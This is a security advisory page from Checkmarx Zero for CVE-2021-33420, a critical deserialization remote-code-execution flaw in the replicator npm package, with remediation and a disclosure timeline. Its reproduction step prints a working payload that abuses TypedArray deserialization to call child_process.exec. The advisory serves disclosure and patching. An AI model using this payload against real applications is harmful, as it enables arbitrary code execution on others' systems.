---
title: "CX-2021-4787"
date: "2021-05-17T07:00:00+00:00"
url: "https://checkmarx.com/zero/vulnerabilities/cx-2021-4787/"
---

# CX-2021-4787

[Disclosed vulnerabilities](https://checkmarx.com/zero/vulnerabilities/)

Fixed: May 14, 2021

CVE-2021-33420  **Published:** May 17, 2021

CWE-502 CWE-502 Deserialization of Untrusted Data  9.8 Critical Severity DESERIALIZATION npm RCE

YN Yaniv Nizry  Reported by Checkmarx Zero

Details Overview

## Summary

Affected versions of replicator npm package are vulnerable to a deserialization RCE via the TypedArrays objects. replicator doesn’t verify the object type given when deserializing TypedArrays and thus letting an attacker create arbitrary objects.

## Product

replicator before 1.0.4.

## Impact

In case an untrusted data get deserialized, an attacker could achieve RCE.

## Steps to reproduce

```
replicator.decode('[{"@t":"[[TypedArray]]","data":{"ctorName":"setTimeout","arr":​{"@t":"[[TypedArray]]","data":{"ctorName":"Function","arr":"process.mainModule.require('child_process').exec('calc');"}}​}}]')
```

### Expected result:

The command in the exec function will be run, in this case aimed for a Windows machine a calculator will pop up.

## Remediation

Update replicator dependency to 1.0.4 or above.

## Credit

This issue was discovered and reported by Checkmarx SCA Security Researcher [Yaniv Nizry](https://twitter.com/ynizry).

## Resources

1. [Pull request](https://github.com/inikulin/replicator/pull/17)
2. [Issue](https://github.com/inikulin/replicator/issues/16)
3. [Commit](https://github.com/inikulin/replicator/commit/2c626242fb4a118855262c64b5731b2ce98e521b)
4. [Blog](https://checkmarx.com/blog/npm-replicator-remote-code-execution-deserialization)

0  Critical Severity CVSS v3.1 Score

   9.8

CVSS v3.1 Vectors- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: High
- Integrity Impact: High
- Availability Impact: High

Advisory Timeline1. Disclosed Mar 24, 2021 Notified the maintainer
2. Fixed May 14, 2021 Fixing pull request got released

## Explore more findings

[22 Apr 2026 CVE-2026-42236  Unauthenticated Denial of Service in n8n via MCP Client Registration   8.7  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2026-4223/) [22 Apr 2026 CVE-2026-42230  n8n has Open Redirect in MCP OAuth Consent Flow   5.1  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2026-42230/) [27 Feb 2026 CVE-2026-27578  n8n Vulnerable to Stored XSS via Various Nodes   8.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2026-27578/) [26 Feb 2026 CVE-2026-27950  Use-after-free in FreeRDP SDL2   5.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2026-27950/) [27 Nov 2025 CVE-2025-34281  Stored Cross-Site Scripting (XSS) in ThingsBoard   6.2  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2025-34281/) [17 Jan 2025 CVE-2025-0825  HTTP Response Splitting in cpp-httplib   6.9  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2025-0825/) [17 Jun 2025 CVE-2025-6050  Stored Cross-Site Scripting (XSS) in Mezzanine CMS Admin Interface   4.8  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2025-6050/) [12 Dec 2024 CVE-2024-8374  Code Injection in UltiMaker Cura   7.8  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-8374/) [14 Nov 2024 CVE-2024-52526  Stored Cross-site Scripting in @LibreNMS/LibreNMS Services Tab   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-52526/) [14 Nov 2024 CVE-2024-51497  Stored Cross-site Scripting in @LibreNMS/LibreNMS Custom OID Tab   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-51497/) [14 Nov 2024 CVE-2024-51496  Reflected Cross-site Scripting in @LibreNMS/LibreNMS /wireless and /health endpoints   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-51496/) [  14 Nov 2024 CVE-2024-51495  Stored Cross-site Scripting in @LibreNMS/LibreNMS Device Overview `overwrite\_ip` Field   7.5  Visit the page ](https://checkmarx.com/zero/vulnerabilities/cve-2024-51495/)
